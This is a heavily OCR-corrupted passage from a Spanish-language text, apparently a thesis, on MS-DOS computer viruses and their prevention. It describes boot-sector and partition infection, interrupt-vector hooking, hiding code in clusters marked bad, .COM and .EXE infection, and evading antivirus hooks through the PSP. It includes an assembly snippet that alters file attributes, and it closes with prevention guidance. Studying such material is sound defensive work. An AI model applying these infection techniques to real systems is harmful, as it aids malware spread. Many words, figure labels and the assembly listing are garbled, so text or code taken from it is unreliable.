programa ya fué infectado). El conjunto de instrucciones remplazado es
afadido después de! cédigo del virus y después de esto, ambos se
adicionan al final del programa que estd siendo infectado. Cuando un
programa infectado es ejecutado, salta al cuerpo principal dei virus y o
ejecuta, efectuando funciones determinadas por su creador, tal como infectar
otros programas, borrar archivos o evaluar condiciones determinadas.
Posteriormente se sjecuta el c6digo ds! programa infectado. Una variacién
an este esquema es transferir el control a otro archivo (tal vez oculto) o a una
rutina residente en memoria. Otra modificacién, menos frecuents, es
remplazar un conjunto de instrucciones del archivo por infectar en la parte de
enmedio, en lugar del principio, Aunque es generalmente més dificil disenar
un virus que identifique un punto de insercién que permita conservar la
funcicnalidad de los programas infectados, esto son muy dificiles de detectar
porque sélo se convertirfan en activos cuando el programa anfitrién ejecute la
seccidn infectada del cédigo. Este esquema es ilustrado en fa figura 2-14.
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FIGURA 214 ESQUEMA DE ATAQUE DE UM VIRUS DE SOBREESCRITURA

Partlg! Dl rticlén lca).

El Sistema Operativo parmite a una unidad de disco duro ser dividida en dos
o mé&s discos légicos. Asl, un disco duro de 100 Mb puede ser dividido en
tres discos légicos: uno de 60 Mb y dos de 20 Mb. Cada una de las partes
de la divisibn es vista por el DOS como discos separados; "C*, "D" y asf
sucesivaments. L.a medida de cada parte es guardada en el disco duro, en 6!
primer sector y este codigo es responsable para ubicar un sector de
arranque (boot sector) en uno de los discos l6gicos.

El cédigo de particidn del disco puede ser infactado por un virus, pero éste
sblo tiene 446 bytes, por lo que una forma de atéque comin es la de
acultarlo cambiéndolo de lugar, moviéndolo a una parte especifica dentro del
mismo disco duro y despuds colocar ei codigo viral en su lugar,
enlazdndolos. Esta es la téenica utllizada por el virus New Zealand,
descubierto en 1988, 1a cual se esquematiza en la fiqura 2-15,
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ROM REQISTRO DE l SECTOAR DE 0I8CO DURD ANTES
PARTICION CARGA DE LA INFECCION

ROM wiealicle] | REGISTRO DE | SECTOR DE ] DISCO DURD DESPUES
VIRAL PARTICION CARGA DE LA {NFECCION

FIQURA 2-15. ATAQUE VIRAL AL REGISTRO DE PARTICION

Sector de Carga (boot sector).
Al arrancar al computador las rutinas del ROM ejecutan sl cédigo dal sector
dae carga (boot sector - lado 0, pista 0, sector 1). El sector de carga contiene
informacién detallada del sistema en el disco y también donde localizar al
archivo 10.8YS. Este archivo efecta la siguiente etapa de la secuencia de
arranque (vea la figura 2-16).

ROM SECTOR DE ARCHIVO
CARQA 10.5YS

FIQURA 2.16. LOCALIZACION DEL ARCHIVO ID.SYS

Un uso comin de! seclor de arrangue es sjscutar un programa de
aplicacién, tal como correr un juego autométicamente; desafortunadamente,
también puede incluirse la iniciacion automética de un virus, por esto el
sector de carga es un blanco comin para la infeccion.



El espacio disponible en el sector de carga es limitado (un poco més de 460
bytes), por esto se emplea !a técnica de reubicar el sector de carga original a
otro sector dentro del disco, mientras que en su fugar se sustituye por ol
cédigo viral.

Un ejemplo tipico de tal virus es el Alameda. Este virus mueve el sector de
carga original a la pista 39 , sector 8 y lo reemplaza por su propio cédigo
viral, como se muestra en la figura 2-17.

AoM cobao ARCHIVO SECTORDE
VHRAL 10.5YS CARGA

FIGURA 2-17, LOCALIZACION DEL ARCHIVO10.5Y8
DESPUES DE UN ATAQUE VIRAL

Otros virus conocidos, que emplean e mismo esquema, son el New Zealand,
Brain, Italian, Search, Bloominton y Stoned. Los virus que empiean esta
técnica son particularmente peligroses a causa de que capturan el control
del sistema de la computadora muy répidaments, antes de que cualquler
software antiviral se active.

Archivos MSDOS.SYS, 10.SYS.

El programa de arranque contenido en el sector cero carga al archivo
10.8YS, ol cual realiza otras tareas de inicializacién, después carga al DOS
contenido en el archivo MSDOS.SYS. Ambos archivos pueden ser objetivo
de infeccién viral, aunque no se conoce un virus, hasta ahora, que los
ataque.
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Archivo COMAND.COM .,
El - codige MSDOS.SYS sejecuta s comando shell del sistema
(COMMAND.COM). Este programa provee la interfase con el usuario,
permitiendo la ejecucién de comandos desda 6! teclado. El programa
COMAND.COM pueds ser infectado, como cualguier otro archivo (insercion,
remplazo o sobreescritura).

Archivo AUTOEXEC.BAT .

Al cargarse el programa COMMAND.COM, éste ejecuta una fista de
comandos contenidos en el archive AUTOEXEC.BAT, el cual es un archivo
de texto con una secuencia de 6rdenes para ser ejecutadas por ef intérprete
de comandos. Un virus puede modificar este archivo para incluir la ejecucién
de sl mismo. Estos virus son lentos para reproducirse y muy facil de localizar,
por este motivo, tal técnica no es usada por virus conocido, solamente se
tiene noticia de un virus desarrollado por Ralf Burger con fines
experimentalss y educativas.

Virug Residentes.
Los virus més "exitusos" a la fecha explotan una variedad de técnicas para
permanecer residentes en fa memoria una vez que su cédigo ha sido
ejecutado y su programa anfitrién ha terminado. Esto implica que una vez
que se ha cargado un programa infectado el virus podr4 desplegarse,
potencialmente, a cualquiera de todos los programas del sistema,
permaneciendo activo durante toda la sesién de trabajo (hastz que el
sistema sea reinicializado o la computadora sea apagada),
Para lograr su residencia en memoria efectian una infeccién de los vectores
de interrupcién esténdar usados por el DOS y el BIOS, los cuales son
invecados por otras aplicaciones cuando hacen solicitudes a sus servicios.
Cuando una interrupcidn es llamada, el sistema operativo sjecuta una rutina
cuya ubicacién localiza de una tabla conocida como veclores de
interrupcién. Normalmante esta tabla contiene apuntadores para rutinas en el
ROM o en las partes residentes en memoria del DOS, como se muestra en la
figura 2-18.
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INTERRUPCION t3h \ ROM

INTERRUPCION t4h / BIOS

DOS

INTERRUPCION 210

4

FIGUAA 2-18. USO NORMAL DE INTERRUPGION

Un virus puede modificar esta tabla, asf que fa interrupcién lame un cédigo
viral {residente en memoria), para ser ejecutado. Las interrupciones més
comunmente infectadas son sefialadas en la tabla 2-1.

Al infectar, por sjemplo, la interrupcién para el uso del teclado, un virus
puede "arreglar’ el Cirl-Al-Del para reinicializar ef sistema. Si infecta a ta
interrupcién de manejo de disco del BIOS, un virus puede interceptar toda
actividad de jos discos, incluyendo lecturas del sector da carga. Atrapando fa
interrupcion de servicios det DOS, podrd manipufar solficitudes de ubicacién
de memoria,

Por ejempio, un virus puede atrapar la interrupcién de servicios del DOS,
causando que su c6digo sea ejacutado primero antes de llamar a tal servicio,
para procesar fa solicitud. Esto se represerta en la figura 2-19.
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INTERRUPCION 13h \ ROM

INTERRUPCION 14h / B| OS

INTERRUPCION 2th DOS
VIRUS

FIGURA 2-18. LOS VIRUS TSR REEMPLAZAN LOS VECTORES DE INTERRUPCION

2.4.2. Mecanismos de infsccién.

Como se menciona anteriorments, ios virus también pueden ser analizados
en términos de "dénde viven' o, més exactamente, que porcién del disco o que
tipo de archivos infectan. También aqui se agrupan en tres amplias categorias:
infectores del boot sector (sector 0 - sector de carga inicial de los discos),
infectores del sistema e infectores de aplicaciones genéricas. Podra advertirse que
un solo virus puede contener Ios tras tipos de mecanismos de infeccion.

Los infectores del boot atacan el boot sector de los discos flexibles y/o
duros (un estudio de la estructura de los discos se presenta en la seccién 2.2).
Ellos obtienen el control del sistema cuando éste es inicialmente activado y
tlpicamente permanace residents en memoria, controlando el sistema hasta que
es desactivado.
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Los infectores de! sistema atacan al menos a un archivo del sistema
operativo (tal como el IBMBIO.COM o COMMAND.COM). Para mayor referencia
de estos archivos vea la seccion 2.1. Este tipo de virus obtienen control durante la
inicializacién del sistema, siguiente a la secuencia del arrangque del computador.

Los infectores ce aplicaciones generalss, como el nombre [o indica, atacan
a un amplio rango de aplicaciones o programas y pueden ser especificas para
ciertos tipos de archivos.

Los infectores del boot estén restringidos a obtener al menos sus porcionss
inlciales en ubicaciones especificas de un disco. Por cfro lado, tienen la ventaja de
ser cargados antes de cualquier otro programa y ya que permangcen residentes
en memoria y dado que todos los discos tiensn un &ea de boot sector (vease
seccién 2.2), pusden infectar cualquier disco que se inserte en cualquiera de las
unidades para disco fiexible del computador, los cuales al empleaise en otra
computadora como disco bootable, infectardn al disco duro {si existe) de ésta.

Los infectores del sistema estan restringidos en el hecho que sélo pueden
infectar algunos archivos especfficos. Pero ya ques estos archivos son parte del
sistema operativo, estdn prasentes en practicamente todas las computadoras y
por ello proporcionan un punto de ataque “estandar’. Son particularmente
molestos porque infectan la parte del sistema que modera y controla el acceso a
los recursos del sistema. Por ejemplo, si COMMAND.COM en una maguina
PC/MS-DOS esté infectado, significa que todos los programas que "se comportan
correctamente”, tendran requerimientos de los sarvicios del sistema (tales como
lectura y escritura de y en los discos) controlados por un virus.

Los infectores de aplicaciones generales, afectan las aplicaciones de los
programas. Es por eslo que se les puede enconirar en un gran nudmero da
anfitriones. Pueden extenderse a otras maquinas dado que estas aplicaciones
suelen ser canjeadas. La Unica restriccién tundamental en este tipo particular de
infeccién es que un programa infectado debe ser sjecutado para que el virus
efectiie fas funciones de dafos previstos, las cuales usualments tienen un
dispositivo que espera una senal para dispararlas, tal como una hora o una fecha
determinada. Las probabilidades de que al momento de ejecutarse el programa
Infectade (y del virus contenido an 81}, se cumpla con la condicion predeterminada
del "disparo" de las funciones dafdinas crece mientras mayor sea el nimera de
archivos infectados en &l computador, al grado que si todos los programas e3tan



infectados, se puede hablar de un 95% de probabilidad de qus tales funciones
sean activadas. :

2.4.3. Vulnerabilidades sspecificas daol IBM - PC

En esta seccion se examina la arquitectura general del sistema, en relacién
al ataque de Ios virus. Se recomienda que se estudien las sacciones 2.1 y 2.2 para
que los conceplos aquf expresados sean plenamente comprendidos.

Hay tres aspectos bésicos para un andlisis pertinente de los virus en las
computadoras 1BM PC: la estructura ds los discos en la PC/MS-DOS, la
organizacidn del sistema operativo y el sistema da memaria, y la estructura de los
archivos ejecutables.

Estructura de los discos.

Un disco formateado por DOS estd organizado por un juego de circulos
concéntricos o "pistas". Cada pista tiene un nimero, siendo la nimero O la
pista mas cercana al limite exterior de la pista. Cada pista esta subdividida en
sactores, cada sector tiene una capacidad de 512 bytes.

El sactor 0 - boot sector- contiene la identificacién de manufactura del equipo
inicial (OEM), fa tabla de pardmetros del disco (DPT}, la cual indica el nimero
de lados que han sido formateados, el numsro de pistas, numerc de
sectores por pista, nimero de bytes por sector, etc., y la rutina de arranque
(ver figura 2-65). Los bytes 11 (0Bh} al 23 (17h) del boot sectar son lefdos
por la cabeza de lectura/escritura cada vez que se accede por primera vez al
disco, poro fa rutina de arranqua sélo £5 cjacutada cuando so inicializa (o
restablece - reset) al computador.Durante este proceso fa rutina de arranque
causa que los archivos fundamentales del sistema operativo sean cargados
en memoria; pero los virus infectores del boot remplazan esta rutina por su
cbdigo, por lo que se cargan en marmoria fcilmente.

La FAT contiena la posicién de cada cadena de cluster que constituyon un
archivo, asf el sistema sabe cudles clusters estén libres, cudles son parte de
un archivo y cudles estén dafados y no pusden ser usados. Sin embargo,
algunos clusters que no estén dafiados y pueden ser utilizados ze pueden
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marcar como dafiados, por o que no se quieren feer por medios normales
(por el sistema operativo), pero mediante funciones especiales se pueda
instruir al controlador del disco para leer cluster "defectuosos”. Asf, un virus
puede marcar los clusters en los cuales reside como dafades en base a
instrucciones especiales, por 16 que pueds ocupar espacio en al disco que
no se mostrard como parte del directorio del mismo y no podré ser alectado
o utilizado por parte del sistema operativo, paro contendrd un cédign que
puede ser cargado y ejecutado. Esta técnica es empleada por el virus Brian.
En el 4rea de directorio rafz (root directory), se tione un campo cuyo valor
especifica el numero dsl primer cluster en dondse comienza un archivo (ver
figura 2-6¢). Este valor puede ser afectado y cambiado por sl nimero del
cluster en donde comienza olro programa, que puede ser un virus.

Por ofro lado, el sistema cperativo distribuye sl almacenamiento de los
archivos en clusters, cada cluster puede estar constituido por dos o més
sectores; esto es determinado por el formato del disco. Por ejemplo, para un
disco floxiblo do 5 1/4 da 360k, se tienen 2 sectores por cluster (1024 bytes).
Asl, aunque un archivo sea de 100 bytes usara 2 sectores del disco, y
desperdiciard 924 bytes de espacio en éi disco. Este espacio lo reliena el
sistema operativo con ceros y pusde ser aprovechado por un virus,
instalando en él su cddigo. Similarmente, si un archivo tiene 2049 bytes de
extension ocupara 6 sectores dejando 1023 bytes libres.

El 4rea del directorio base (root directory) contisne rsgistros con el nombre
del archivo, su extensidn, su longitud, la hora y fecha en qus fue creado o en
la que se efectiio la dlima modificacion y los atributos del archivo (sélo
lectura, oculto, subdirectorio, stiqueta).

Al observar el directorio base se puedo obsarvar que todos los campos on 8l
son escenclalmente datos que residen en una condcida o predeterminada
ubicacién, y pueden ser cambiados facilmente par otros datos,
destacandose particularmente los atributos del archivo (en particular el bit de
sélo lectura y ccultamisnto).

La siguisnte rutina escrita en lenguaje ensamblador ilustra como se puede
modificar el atributo de sélo lactura de un archivo :
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‘Mover 43h al registro AH para solicitar la

Jfuncién 43h de la interrupcion 21h,

;atributo de archivo - Sarvicios del DOS.

:Poner a 0 e registro AL para obtener el

.atributo.

;Dar la direccién de la ubicacién det

:archivo en el directorio.

:Invoca la interrupcidn después de que

;5@ inicializaron los registros.

El bit de atributo del archivo se

:encontrard en el registro CX después de
et : ;que se ejecuta la interrupcidn,

AND: - CX,11111110b ;Cambia el primer bit a 0 para

B ;establecer el archivo como modificable.
MOV - AH,43h :Mueve 8l valor 43h al registro AH para
TR ;solicitar nuavamente el mismo servicio
MOV ALO1h :Mover 1 al registro AL para establecer el
:modo de funcién "coloca atributo" de la
. . Jfuncién 43h
INT °© 2th sinvoca la interrupcidn 21h después de

;haber modificado el registro CX el cuat
remplazard al byte de atributo de
.archivo

Un virus pueds asl, leer el byte original de atributo de archivo, hacer los
cambios mencionados, hacer su dafio y restablecer los atributos originales.
Casos similares se aplican a otras caracteristicas similares en ef directorio. El
resultado total de todo esto es que un archivo puede ser infectado y ain
manejarse por los controles normales como si no hubiera sido “tocado”.

Por otro lado, el directorio base (root directory) consiste de un ndmero
determinado de registros, cada registro consiste de 32 bytes dispuestos
como se muestra en la figura 2-16. Los registros que no han sido usados
tienen el valor 00h como et primer caracter (el primer byte). Tomando en
cuenta que {os registros de archivos que han sido borrados tienen el valor de
ESh en su primer byte, los nuevos registros de archivos son creadas usando
la primer ranura disponible (borrada o nunca antes usada}. El listado de
archivos del subdirsctorio por DIR, normalmente se detiene cuando tropieza
con un 00h como el primer caracter de un registro de archivo porgue este
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serlé normalmente el final de la lista. Asl por colbcar ooh én un' lugar
aproplado, un virus posiblemente puede tener de 5 a 6 ssctores (2560 a
3072 bytes) a su disposicidn,

Qrganizacidn del sistema operativo y memorin,

El mapa de memoria bésica de la PC se muastra en la figura 2-1. Ei punto
clave en esta toma es ef bloque etiquetado como "vectores de Interrupcién® el
cual ocupa los primeros 1024 bytes de memoria. Cada vector ds interrupcion
consiste de cuatro bytes que especifican la direccién de comienzo para
llamar una rutina de manejo de interrupcién, la cual provee algunas funciones
especificas o servicios, tales como aceptar una enirada del teclado,
desplegar un dato en pantalla, acceso a los discos, etc. Lo que es
convenients para los virus s el hecho de que estos vectorss ccupan lugares
conocidos en la memoria, que ellos estén especificamente asociados con
servicios particulares y lo que es mds importants, que en elios se pusde
establacer una direccidn para senalar cualquier ubicacién dentro del espacio
de direcciones dal procesador. Asl, un virus puede-leer una ubicacién
conocida en la memoria {(un vector de interrupcién), coplar la direccién del
respectivo manejador de intarruncidn, sustiuinla por la direccion  de!
comienzo de un programa virus, y utilizar la direccién de la rutina substituida
para que pueda ser usada ésta por el propio virus a través de sus rutinas. De
esta manera, siempre que Ia interrupcion sustituida sea invocada se gjecutard
primero la rutina de! virus, efectuando todo el daio para el que fué disefiado
y despuéds le transfiere el control a la rutina de manejo de interrupcionies
dando la impresion do qua todo se efectuo narmalments.

Por ejemplo, el virus Brian redirecciona ol vector de ia interrupcién de control
de servicios de acceso a los discos floxibles, de tal manera que éste senala a
la direccién del cddigo del virus, ademas de conservar y utilizar 1a direccién
real de la rutina que proporclona estos servicios. Asl, cada vez que se pida
un acceso a un disco que no esté protegido ¢ontra escritura, el virus tendré
la oportunidad de infectarlo o de causarle algin dano. Ademas pide leer los
sectores particulares del disco (bésicamente el boot sector y la FAT) para
reubicarios y sustituirlos por su codigo. Igualimente, técnicas similares
pueden ser empleadas para utilizar, remplazéndolos, los demés vectores de



imerrupcién, destacando uno paricularmente poderoso: & interruptor 2th
{decimal 33), servicios del DOS. Para mayor informacion de esta interrupcion
revise el apéndice B.

Es convenients mencionar que cualquier programa de proteccién (antivirus)
que opera como un proceso “clandesting” redireccionando ef interruptor 08h
(decimal 8), qus es el medidor de tiempo {de tat lorma que este programa se
harla ectivo periédicamente}, pedria sor vencido por un virus que
simplemente desactivd el programa de proteccién al alterar la misma
interrupcion y efectuar sus funciones posteriormente.

Estructura de 108 archivos elacutables.

Estos son archivos que contienen programas. En la PC/MS-DOS hay dos
tipos de archivos ejecutables, identificados por su extensiones: .COM y .EXE.
Las dos diferencias fundamentalos entre éstos son: la primera es que los
archivos .COM tienen una medida maxima da alrededor de 64 kbytes,
mientras que los .EXE estan limitados sdlo por la suma de la memoria
disponible y la segunda es que fos archivaos .COM estdn sobre el disco
esencialmente como una imagen de lo que es cargado en la memoria y
ejecutado, en cambio los .EXE contiensn un “encabezado" que debe ser
procesado anles de que el programa pueda ser ejecutado.

Como se menciona anteriorments, los virus de sobreescritura y remplazo
esencialmente reubican ias porciones modificadas de un programa y se
pueden crear faciiments (por lo que el anélisis se centrard en los virus de
insercién). Como antecedente es nacesario mencionar que el procesador
8088 de Intel organiza la memoria en bloques de 64 kbytes, ios cualaes son
llamados segmentos. Una direccidn especifica en la maguina estd
determinada por la combinacion ds! nimero del segmento y un
desplazamiento dentro de este segmento. Para mayor informacién consulte
ol apéndice C.

Carga de un archivo ejecutable.
Cuando cualquier tipo de programa es cargado en la memoria para ser
ejecutado, el sistema operativo construye un segmento de prefijo de
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programa (PSP - Program Segment Prefix), el cual ocupa los primeros 100h
(decimal 256) bytes det segmento en el cual ef programa fud cargado. Ef PSP
contiane una variedad de informacién, pero hay un tema de interés particular.
Comaenzando en el desplazamiento 05h (decimal 80) se encuantra e! codigo
que llama al despachador de funciones del DOS (el cual es normalmente
abordado por via de la interrupcién 21h {decimal 33)). Esto permite que un
virus engafie un programa defensivo (antivirus) que *se engafia a sl mismo®,
por la interrupcién 21h por la siguiente sscuencia de acciones:

1 |El virus consigue la direccién del PSP mediante la interrupcion 62h
(decimal 98)

2 |Carga a! registro AH con el nimero de fa funcién deseada del DOS y
estableca los valores de los demas registros apropiadamente.

3 |Usa una llamado a subrutina (una instruccién particular de safto - CALL)
a la direccibn 50h dentro dsl PSP activo, para Invocar 1a funcién
deseada, desviando totalmente el interruptor 24h en el PSP,

Archivos .COM

Para los archivos .COM el primer byte del archivo es la primera instruccién
ejectuble del programa. Por esto, todos los archivos .COM comienzan su
ejecucién en la direccién definida por el desplazamiento 100h (que es la
longitud de! PSP), Asl, un virus sélo necesita salvar los primeros bytes de un
archivo, remplazarios con apropladas instrucciones de salto {jump ~JMP) e
indicador y apendizar el cuerpo principal del cddigo virus al final del archivo.
Consecusntemente se puede determinar el segmento activo del PSP usando
la interrupccidn 62h, para restablecer los bytes originales del encabezado det
programa infectado y reiniciar el programa ejecutando un salto (JMP) hacia
atras (a Ja direccidn de comlenzo del programa).

Archivos .EXE

Infactar un .EXE es considerablements mas diflcil, por el hecho de qus la
primera instruccién ejecutabla esta en una ubicacion dentro del archivo que
no es conocida a priori. Como se menciond antes, cada archiva .EXE tiene
un “encabezado” que contiene informacin usada para cargar el programa.
Esta informacién se presenta en la figura 2-20.
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MARCA DE ARCHIVOG EXE (0 54

REBIDUD DE LA DIVIgION
LOWOITUDOEL ARCH! voDﬂl'(nu

LONCHTUO DEL ARGHIVG EX 812 BYTE
PAQINAS CON INCLLISION DE ENCABEZADOS

NULILRO B REQIBTAOB DE REHURICACION

TAMARO DE PARAARD DE ENCAD!
{UNIDADES DE 18 BYTES)

MULEFIO MIN KO DE PARRAFOB
HECEAITADAS PARA ELPROGRAMA

NULERQ MAXIKO DE PAPRAFOB
NECESITADG PARA EL PROGRAMA

§FEEL R g

DEBPLAZAMIENTO EN PARSFOG
DE G DENTAO DEL MOOLR.O CARGADO
0010M
COMTENIOO DEL REGITRO BP AL COMINIAR
0012+
PALADRA DE CONMOL, [CHEGKBUM)
o014H
CONTEMOQ DEL REQUITRO 17 ANTES AL, COMIENZO
ooteH
DEBPLAZARIENTO DENTRO DE LOB PARRAFOS
DEL C8 DENTRO DEL MOGULO CARGADD
co1eH
DESPLAZAMIENTO DEL PAIMER CAMPO
RELOGAUZADG EN EL ARCHIVO
1AH
MUMERG DE 500 REFLLUO
@IBH

FERERVADD TAMARD VAR BLE

TAULA DE REHUBICATION

RESERVADO {TAMARNO VARIABLE)

SEGMENTO DE GATOS ¥ PROGRAMA

BEQMENTO DE PILA (BTACK)

FIGURA 2-20. LA DISPOSICION DE ENCABEZADO PARA UN ARCHIVO .EXE

Un programa .EXE es cargado para su ejecucidn a través de las sigulentes
acciones:

* Un PSP es establacido después de la parte residente del programa que
realiza la operacion de carga (frecuentemente el COMMAND.COM).



« El encabezado del archive .EXE se lee en msmoria y se calcula la longitud
del médulo (resto del programa) que serd cargado. Esto es hecho por la
combinacidn de la informacén de tres de los campos que se encusentran
dentro de! encabezado. €l tamanio del médulo (TM) seré igual a:

TM=[(512 % nimerc de paginas) - {16 X numarc da campos del
encabezado) + (longitud del archivo med 512)]

. Se detarmina un segmento apropiado en el cual se coloca el médulo. Este
es llamado como el *primer segmento”.

El médulo de carga as entonces lefldo dentro de la mamoria comenzando por
el "primer sector". La tabla de reubicaciones es leida entonces dentro de la
memoria de trabajo. La tabla de reubicaciones consta de un numero variable
de datos que contienen [as direcciones de los segmentos y desplazamientos
de los campos en el médulo de carga que deben modificarse al comenzar el
programa. El valor de! segmento del campo de reubicacién debe sumarse a!
primer segmento. Este nuevo valor de segmento es combinado con el valor
de desplazamiento para una reubicacién, para detarminar la ubicacién exacta
en ol médulo de carga. Et contenido de esta direccidn es incrementado por
of valor del segmento Indicador, Una vez que todos los campos reubicados
han sido procesados, los registros SS e SP son colocados desde los valores
en el encabezado de archivo .EXE y el segmento indicador adherido al $S.
Los registros ES y DS son colocados al segmento de direccién del PSP, E
segmento indicador es adherido al valor especificado en el encabezado para
el registro CS. El desplazamineto espscificado para el IP es entonces
combinado con el registro CS para determinar ef punto de entrada para e!
programa .EXE.

Es f4cil apraciar que la infeccién de un archivo .EXE es una tarea dificil, ya
que dddnde ubicar el codigo virus? es un problema complsjo. Si ef sagmento
del programa se ajusta dentro de algo menos de 64 Kb de memoria (la
medida del segmento), entonces, infectar a! programa se convierte ,
esencialmente, como infectar un programa .COM una vez que sea conocida
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la ublcacién relativa de la primera instruccién. Ademas se tiene el problema
de-la palabra "checksum" {2 bytes comenzando en el dasplazamiento 0012h
an el encabezado), el cual debe ser recalculado pare el archivo infectado y
remplazado por el nuavo valor.
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DETECCION Y PROTECCION EN
SISTEMAS DE COMPUTO

En los capftulos anteriores se explica que es un virus informético y sus
caracteristicas. Una vez delimitado su comportamiento, en relacién al dafio que
provocan, se plantea ahora un programa de prevencién de virus.

En la mayorfa de los programa de prevencién contra virus el punto central es el
aspecto de la deteccién, confiando demasiado la seguridad de los sistemas al
software de deteccién viral. Este hecho en sl da ventaja a 10 programas virus, ya
que se ha comprobado que el software para deteccién de actividad viral no
proparciona ef 100% de seguridad y, ademas, no s confliable en &l caso da
NuUBVOS Virus.

Aunque el problema de la deteccién es uno de los puntos més importantss en la
prevencién de ataques virales, no es el unico. Es necasaric observar los aspsectos
de administracidn de los sistemas y educacién de los usuarios, esto con el fin de
mirar al problema desde todos sus aspectos, logrando aisiarlos hasta el punto de
obtensr una "asepsia informética”.

En rolacibn al aspecto de deteccién, una vez comprendido los puntos
fundamentales de un programa de deteccion de virus, es posible que los usuarios
puedan desarrollar aplicaciones especificas, de acuerdo a sus necesidades, o que
puedan aprovechar, de mejor manera, los recursos existentes en los paquetes
antivirus que 5e encuentran en el mercado de software.

E! uso de paquetes antivirus tiene sus pros y sus contras, pero es bueno contar
con ellos, siempre y cuando se tenga en ments, que no se debe confiar en estar
totalmente fuera del alcance de ataques, solaments por tenerlos,



3.1. Reglas bésicas de prevencién.

Para lograr una proteccién general contra: ataques por virus informéticos,
usuarios no autorizados, y amenazas afines; usuarios y administradores necesitan
eiiminar o reducir la vulnerabilidad de los sistemas informéticos. La vulnerabilidad
técnica se explica ampliamente en el capitulo dos, paro aqul se presenta un
sumario de los errores méas frecuentes en los programas de prevencion, en los
sistemas informéticos:

. Falta de medidas preventivas de los usuarios - los usuarios copian y
comparien software infectado, faita de sefales detectoras de actividad
virulenta, los usuarios no comprenden correctamente las técnicas de
seguridad,

. Controles de seguridad ausentes o inadecuados - las computadoras

personales generaimente carecen de mecanismos de seguridad que ayuden

a prevenir y detectar uso inadecuado; los controles existentes en sistemas

multiusuarios suelen ser faciimenta superados por usuarios hébiles en

programacion y conocimientos profundos en temas informéticos.

Uso inetectivo de los controles de seguridad existentes- usando contraserias

obvias, que puedan ser facilmente adivinadas; mala ubicacién de las

contrasenas autorizadas; ausencia de uso de controles de acceso, que otorga

a los usuarios més libertad de la necesaria, para trabajar con las fuentes de

informacién.

Tropiezos y escapatorias en el sistema software - permitiendo a los usuarios

eludir los controles de acceso a los sistemas o exceder sus privilegios

autorizados,

. Susceptibilidad de trabajos en Red - los trabajos en Red pueden proveer
acceso anénimo al sistema, sin supervisién, por lo que muchos son en
general sélo tan seguros como los controles de prevencién en los sistemas
que los usan,

Como pusde apreciarse en este sumario, la prevencién contra virus requiere que
las vulnerabilidades de los sisternas sean identificadas. Algunas de ellas pueden
ser facilments superadas, tanto como los controles ds seguridad pusdan ser



mejorados, mientras otros son de algin modo inherentes en computacién, tales
como: los usuarios que no apliquen las medidas de seguridad, o bien, el riesgo de
uso no autorizado de las computadoras, asl como trabajos en Red.

Proteger completamente a los sistemas de todos los ataques virulentos es
imposible. Sin embargo, para obtener un grado real de proteccion, todas las dreas
de vulnerabilidad deben ser ubicadas; mejorando algunas areas a costa de otras,
atn dejando huecos identificados en la seguridad.

Es esencial conocer adecuadamente todas las dreas vulnsrables, fa implicacién
activa de los usuarios, la estructura de administracién y la organizacién en un
programa ¢le prevencién de virug. Tal programa, si es formal o informal, depende
de la mutua cooperacion de !os tres grupos para identificar los aspectos
vuinerables, para efectuar acciones necesarias corregirlas y para controlar los
resultados.

Un programa de prevencion de virus debe estar basado inicialmente en la
administracidn efectiva de los sistemas de computacidn, permitir el acceso solo a
usuarios autorizados, asegurandose de que el hardware y el software son
adecuadamente controlados, proporciona un servicio de mantenimiento, hacer
revisiones regularmente y mantener procedirnientos de contingencia para
problemas  potenciaimente  graves, £s  importants  destacar  que
independientemente del tamafo del equipo de cdmputo, es absolutamente
necesario contar con un programa bésico de administracién. Muchos vendedores
proporcionan manuales de sistemas de administracion que describen los
aspectos de un programa basico.

Una vez que es implantado un programa basico de administracion, la direccion y
los usuarios necesitan incorporar medidas de prevencién que ayuden a detener
ataques por virus y amenazas afines, detectar cuando ocurran, contengr los
ataques para limitar e! dano, y restablecer el funcionamiento en un tiempo
razonable con la menor perdida de informacidn. Para conseguir estos objetivos, es
necesario enfocar la atencién a los siguientes aspectos:

. Educar a los usuarios sobre un software malicioso en general, los riesgos que
posee, la correcta aplicacion de las madidas de conirol, pdlizas y
procedimientos para protegerse a sl mismo y a la organizacién.

. Pélizas de administracién_de software, procedimientos que regulan el dominio

publico del software, asf como el uso y mantenimiento del sofiware en general.
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. Uso _de controles técnigos que ayuden a prevenir y detener ataques por
software malicioso y usuarios no autorizados.
ontrol de_la actividad del usuario y software para detectar violacionas de
pélizas, procedimientos y controles.
. Pélizas v_procedimientos de contingencia para contensr y recuperarse de
ataques.

Una guia general en cada uno de estos aspectos es explicada en 1as secclones
siguientes.

3.1.1 Educacion del usuario.

La educacibn es el mejor y mas valioso método por e! cual sistemas y
organizaciones pueden obtener mayor proteccién de incidentes de software
malicioso y uso no autorizado de sistemas. En situaciones donde los controles
técnicos no proporcionan una proteccidn completa {como en la mayorla de las
computadoras) es finalmente la gente y su disposicién quienes adhieren pdlizas
de seguridad que determinan la proteccion de los sistemas y organizaciones. Por
usuarlos adecuadamente informados sobre la naturaleza general de 10s virus y
amenazas afines, una organizacién puede mejorar su habilidad para detectar,
contener y recuperarse de incidentes potenciales.

Los usuarios deben ser intruidos sobre lo siguiente:

« Como opera un software malicioso, métodos por los cuales se instala y se
propaga, los aspectos vuinerables explotados por los virus y usuarios no
autorizados.

« Pélizas de seguridad general y procedimientos para su uso,

+ Pdlizas para dar seguimiento a la revision, almacenamiento y uso del software,
especialmente software dal dominio pdblico y de use compartido.

» Como usar los cantroles técnicos, que tienen a su disposicién para proteger a
los sistemas.



« Como controlar sus sistemas y software para detectar sefales de actividad
anormal, y qué hacer o a quién recurrir para mayor informacién.

+ Procedimientos de contingencia para contener un ataque y recuperarso
después da &l

La educacién de! usuario, quiz& cara en términos de tiempo y recursos
requeridos, es finalmente una medida de costo-efectivo de proteccién contra
Incidentes de softwars malicloso y usc no autorizado. Los usuarios mejor
informados del potencial destructivo de un virus y los métodos por los cuales este
puode atacar a los sistemas, estardn mejor preparados para tomar medidas
preventivas. El propédsito de las pélizas de seguridad y procedimiantos les
resultard mas claro, asl que los usuarios tienen mayor disposicién para usarlos
activamente. Educando a los usuarios sobre como detectar una actividad anormat
del sistema y los pasos a seguir para contener y recuperarse de Incidentes

potenciales, 1as organizaclones ganan dinere aun cuando ocurran Incldentos.

3.1.2 Administraclén del softwara.

Uno de los métodos por el cual el software malicioso es copiado sobre los
slstemnas, es por usuarios confiados. Cuando los usuarios descargan programas
de fuentes tales como tableros de boletines, o directarios publicos en sistemas, o
sirven en trabajos en Red, o en general, usan y comparten software que no ha
siclo obtenido de una fusnte reputable, los usuarios estén en peligro de desplegar
un software maliciose. Para prevenir a los usuarios 'de infecciones, los
administradores necesitan:

